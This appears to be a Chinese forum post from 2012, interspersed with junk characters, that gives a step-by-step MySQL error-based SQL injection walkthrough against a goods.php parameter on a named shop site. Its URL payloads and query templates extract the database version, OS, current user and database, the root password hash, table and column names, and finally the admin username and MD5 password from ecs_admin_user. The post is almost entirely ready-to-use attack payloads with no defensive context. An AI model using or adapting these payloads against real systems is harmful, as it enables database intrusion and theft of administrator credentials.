判断版本号 2 @: g {) M* p4 l1 U, {
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23' i: _! H. }+ H" B) M% U& K
- d; `4 w( N0 o1 z
判断系统
7 `& D$ ^! J @! I$ x, Z& [0 G0 V) C e) B6 R3 }
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23% S7 [+ g1 } {% K( j! R" ~; y
( Z$ v9 D: ]) b$ @5 z
' q! F2 A8 v5 I0 w7 i+ a. K z5 M
3 Q: Q9 d4 O2 z0 K4 ?6 ?* i% l0 Z当前 user()
# x, B& T. z/ R# l! r
' i k; o$ w! K) i# P; |http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23( G4 V6 l3 M$ D* K/ x
4 ~5 P$ l P) k/ a8 r+ l6 r& e
1 u0 B+ e8 w- w1 V$ r
- f1 R: r, `& A, i/ d3 e N1 v当前 database()( a( I' i9 C6 @: ~
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23* U) ?4 E% N( N! d# ]- B. j% O: x
8 P3 D5 Y5 q2 ?# g# L. P& G) U( Z9 y$ p
( x- P- i' C: E4 x j/ G( k& J9 ]$ J+ u8 M. P, n+ D
root hash* S8 Z/ {! g& q) D
2 }2 P' q7 ^7 b) e; p- m+ Ohttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
$ r, @2 q d) p1 ` f% Z' h) B* _% P9 ^* {/ V2 w) l) @+ e4 B
0 g( |4 Z, W0 b! I& U
6 _& Z# M6 |, p0 @- W, m; E
当前 数据库表名
6 d4 K( x9 \5 y) h& {. G" }% ?! Z' U( r
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%236 b1 M2 E7 |+ D0 G
9 f$ V5 d2 h" I8 g$ }' n, I
; v; n+ y! o% Z; d0 e" k1 Y
8 l' h8 N* e0 d* W+ y当前 数据库 user_name 字段
* o; a) e+ \+ I% ?- c- d# c
/ d# s1 W7 K) v7 h" V h# Vhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
1 t) U3 i# m( q V8 D
7 y/ R# X0 l E9 X3 h# w. ?7 z当前 数据库 字段 password
% | `. u9 ]0 X- z d( dhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
* s, d7 `" q# b8 o8 {5 u) l# o- v
6 W" Y- v9 ^2 }; K! N! g
. t9 n0 E* o- X' w( D* a
获得 admin passwd(md5)* i0 q+ q; R2 g. P
( }" b1 e. T; e4 C
^( e7 n3 _0 `! G- G# i
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%237 y; |3 { @+ M: _' t
7 m$ t4 I4 I" a0 {3 m! c; M
报错注射
1 p5 D. z1 O1 P* }* BSELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select version()) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)* R5 x7 B i3 v" L% F- z* J
/ ]- x3 _: R4 w
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select username FROM admin_table LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)* ^. C0 G/ M0 f% h) H8 c# d1 ^
0 ], O% Y) N9 q
and(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e) FROM information_schema.SCHEMATA LIMIT 21,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) |
发表于 2012-9-5 14:59:30
收藏
支持
反对